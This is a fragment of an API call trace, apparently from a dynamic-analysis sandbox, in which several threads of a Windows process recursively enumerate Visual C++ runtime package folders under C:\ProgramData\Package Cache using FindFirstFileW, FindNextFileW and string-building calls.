	[0092.449] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.450] wcscmp (_String1="..", _String2=".") returned 1
	[0092.450] wcscmp (_String1="..", _String2="..") returned 0
	[0092.450] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.450] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1
	[0092.450] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1
	[0092.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33900
	[0092.450] wcscpy (in: _Dest=0x4e33900, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0092.450] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\"
	[0092.450] wcscat (in: _Dest=0x4e33900, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0092.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491d358
	[0092.450] wcscpy (in: _Dest=0x491d358, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0092.450] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\"
	[0092.450] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*"
	[0092.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.450] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.450] wcscmp (_String1=".", _String2=".") returned 0
	[0092.450] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.450] wcscmp (_String1="..", _String2=".") returned 1
	[0092.450] wcscmp (_String1="..", _String2="..") returned 0
	[0092.450] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.450] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.450] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.450] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.450] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1
	[0092.450] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1
	[0092.450] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.450] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0092.451] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.451] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769d28) returned 1
	[0092.451] FindNextFileW (in: hFindFile=0x2d87438, lpFindFileData=0x2e25e50 | out: lpFindFileData=0x2e25e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.451] FindClose (in: hFindFile=0x2d87438 | out: hFindFile=0x2d87438) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e25e50) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d621e0) returned 1
	[0092.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f1c0) returned 1

Thread:
	id = 335
	os_tid = 0x1464

	[0076.878] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d62290
	[0076.878] wcscpy (in: _Dest=0x2d62290, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0076.878] wcscat (in: _Dest=0x2d62290, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\"
	[0076.878] wcscat (in: _Dest=0x2d62290, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*"
	[0076.878] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf7b0
	[0076.878] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2ddf7b0 | out: lpFindFileData=0x2ddf7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d871b8
	[0079.937] wcscmp (_String1=".", _String2=".") returned 0
	[0079.937] FindNextFileW (in: hFindFile=0x2d871b8, lpFindFileData=0x2ddf7b0 | out: lpFindFileData=0x2ddf7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.937] wcscmp (_String1="..", _String2=".") returned 1
	[0079.937] wcscmp (_String1="..", _String2="..") returned 0
	[0079.937] FindNextFileW (in: hFindFile=0x2d871b8, lpFindFileData=0x2ddf7b0 | out: lpFindFileData=0x2ddf7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.937] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.937] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb6a8
	[0079.937] wcscpy (in: _Dest=0x2ddb6a8, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0079.937] wcscat (in: _Dest=0x2ddb6a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\"
	[0079.937] wcscat (in: _Dest=0x2ddb6a8, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0092.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.452] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0092.452] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\"
	[0092.452] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*"
	[0092.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.452] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.452] wcscmp (_String1=".", _String2=".") returned 0
	[0092.452] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.452] wcscmp (_String1="..", _String2=".") returned 1
	[0092.452] wcscmp (_String1="..", _String2="..") returned 0
	[0092.452] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.453] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1
	[0092.453] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1
	[0092.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e528
	[0092.453] wcscpy (in: _Dest=0x491e528, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0092.453] wcscat (in: _Dest=0x491e528, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\"
	[0092.453] wcscat (in: _Dest=0x491e528, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0092.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491e258
	[0092.453] wcscpy (in: _Dest=0x491e258, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0092.453] wcscat (in: _Dest=0x491e258, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\"
	[0092.453] wcscat (in: _Dest=0x491e258, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*"
	[0092.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.453] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.453] wcscmp (_String1=".", _String2=".") returned 0
	[0092.453] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.453] wcscmp (_String1="..", _String2=".") returned 1
	[0092.453] wcscmp (_String1="..", _String2="..") returned 0
	[0092.453] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.454] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.454] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.454] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.454] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1
	[0092.454] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1
	[0092.454] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.454] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e258) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e528) returned 1
	[0092.454] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.454] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb6a8) returned 1
	[0092.454] FindNextFileW (in: hFindFile=0x2d871b8, lpFindFileData=0x2ddf7b0 | out: lpFindFileData=0x2ddf7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.454] FindClose (in: hFindFile=0x2d871b8 | out: hFindFile=0x2d871b8) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddf7b0) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62290) returned 1
	[0092.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f8f8) returned 1

Thread:
	id = 336
	os_tid = 0x1468

	[0076.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d60ea0
	[0076.879] wcscpy (in: _Dest=0x2d60ea0, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0076.879] wcscat (in: _Dest=0x2d60ea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\"
	[0076.879] wcscat (in: _Dest=0x2d60ea0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*"
